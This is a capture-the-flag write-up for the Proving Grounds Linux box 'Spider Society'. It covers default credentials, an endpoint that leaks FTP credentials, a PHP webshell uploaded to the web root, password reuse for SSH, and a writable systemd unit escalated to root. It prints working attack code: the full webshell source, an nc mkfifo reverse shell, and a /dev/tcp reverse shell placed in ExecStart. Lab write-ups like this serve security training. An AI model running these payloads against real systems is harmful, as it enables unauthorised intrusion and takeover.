# SpiderSociety Writeup - Proving Grounds

> Intermediate Linux box where a default admin login exposes an unauthenticated secrets endpoint leaking FTP credentials, used to drop a webshell onto the web root, with a reused database password for SSH and a writable systemd unit for root.

- **URL:** https://hackindex.io/writeups/spidersociety
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** default-credentials, information-disclosure, ftp, file-upload, credential-reuse, sudo-misconfiguration, privilege-escalation
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 4 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Spider Society leaks FTP backup credentials through an unauthenticated API endpoint behind a default-credential admin login, which gives write access to the web root over FTP for a PHP webshell. A secrets file reused for a system account provides SSH access, and a writable systemd unit combined with a passwordless `sudo systemctl restart` hands over root.

## Reconnaissance

### Nmap

Scan the target and grab service versions.

```bash
nmap -p- -sCV $TARGET_IP
# PORT     STATE SERVICE VERSION
# 22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8
# 80/tcp   open  http    Apache httpd 2.4.58 (Spider Society)
# 2121/tcp open  ftp     vsftpd 3.0.5
```

SSH, a web app, and FTP on a non-standard port. Brute force the website’s directories.

### Directory discovery

Brute force directories.

```bash
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$TARGET_IP/
# /images       (Status: 301)
# /libspider    (Status: 301)
# /server-status (Status: 403)
```

`/libspider` redirects to a “Spider Society Control Panel” login page.

## Exploitation

### Default credentials and an unauthenticated secrets endpoint

Try the default admin credentials on the login form.

```
POST /libspider/login.php
username=admin&password=admin
```

The default credentials `admin:admin` are accepted, dropping into a control panel. A “Communications” button on the page calls `fetch-credentials.php`, and that endpoint returns data without checking the session at all.

```bash
curl http://$TARGET_IP/libspider/fetch-credentials.php
# {"FTP_BACKUP_USER":"ss_ftpbckuser","FTP_BACKUP_PASS":"$FTPBCKUSER_PASSWORD"}
```

The leaked credentials belong to an FTP account. Log in on the non-standard FTP port.

### FTP access to the web root

Connect and list the contents.

```bash
ftp $TARGET_IP 2121
# Name: ss_ftpbckuser
# Password: $FTPBCKUSER_PASSWORD
# 230 Login successful.
# ftp> ls
# 404.html
# images/
# index.html
# libspider/
# simple.py
```

The FTP root maps directly onto the web server’s document root, so anything uploaded here is served over HTTP. Upload a PHP webshell.

```php
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd'] . ' 2>&1');
    }
?>
</pre>
</body>
</html>
```

```bash
put webshell.php
chmod 755 webshell.php
# 226 Transfer complete.
# 200 SITE CHMOD command ok.
```

Confirm execution through the browser-served copy.

```bash
curl "http://$TARGET_IP/webshell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Code execution confirmed as `www-data`. Catch a full reverse shell.

```bash
nc -lnvp $ATTACKER_PORT
```

```bash
curl -G "http://$TARGET_IP/webshell.php" --data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc $ATTACKER_IP $ATTACKER_PORT >/tmp/f"
# www-data@spidersociety:/var/www/html$ id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Shell as `www-data`. The protected file spotted earlier in `libspider/` is now readable, since it is owned by this user.

### Leaked application secrets

Read the hidden secrets file.

```bash
cat libspider/.fuhfjkzbdsfuybefzmdbbzdcbhjzdbcukbdvbsdvuibdvnbdvenv
# FTP_BACKUP_USER=ss_ftpbckuser
# FTP_BACKUP_PASS=$FTPBCKUSER_PASSWORD
#
# DB_CONNECT_USER=spidey
# DB_CONNECT_PASS=$SPIDEY_PASSWORD
```

A second pair of credentials belongs to a `spidey` account. Try the password for SSH.

```bash
ssh spidey@$TARGET_IP
# spidey@spidersociety:~$ id
# uid=1001(spidey) gid=1001(spidey) groups=1001(spidey)
```

The database password is reused for the system account, giving SSH access and `local.txt`.

## Privilege Escalation

### Writable systemd unit + passwordless restart

A custom backup service is installed on the host.

```bash
systemctl cat spiderbackup.service
# [Unit]
# Description=Spider Society Backup Service
# After=network.target
#
# [Service]
# Type=simple
# ExecStart=/usr/local/bin/spiderbackup.sh
# User=root
# Group=root
#
# [Install]
# WantedBy=multi-user.target
```

The backing script is root-owned, but the unit file itself is group-writable by `spidey`.

```bash
ls -l /usr/local/bin/spiderbackup.sh /etc/systemd/system/spiderbackup.service
# -rwxr-xr-x 1 root root   66 /usr/local/bin/spiderbackup.sh
# -rw-rw-r-- 1 spidey spidey 193 /etc/systemd/system/spiderbackup.service
```

Check for passwordless sudo rights on the service.

```bash
sudo -l
# User spidey may run the following commands on spidersociety:
#     (ALL) NOPASSWD: /bin/systemctl restart spiderbackup.service
```

Overwrite the unit file’s `ExecStart` with a reverse shell, then reload and restart it as root.

```
[Unit]
Description=Spider Society Backup Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1"
User=root
Group=root

[Install]
WantedBy=multi-user.target
```

```bash
sudo systemctl daemon-reload
sudo systemctl restart spiderbackup.service
```

```bash
nc -lnvp $ATTACKER_PORT
# root@spidersociety:/# id
# uid=0(root) gid=0(root) groups=0(root)
```

The writable unit file combined with the passwordless restart right gives a root shell.

Related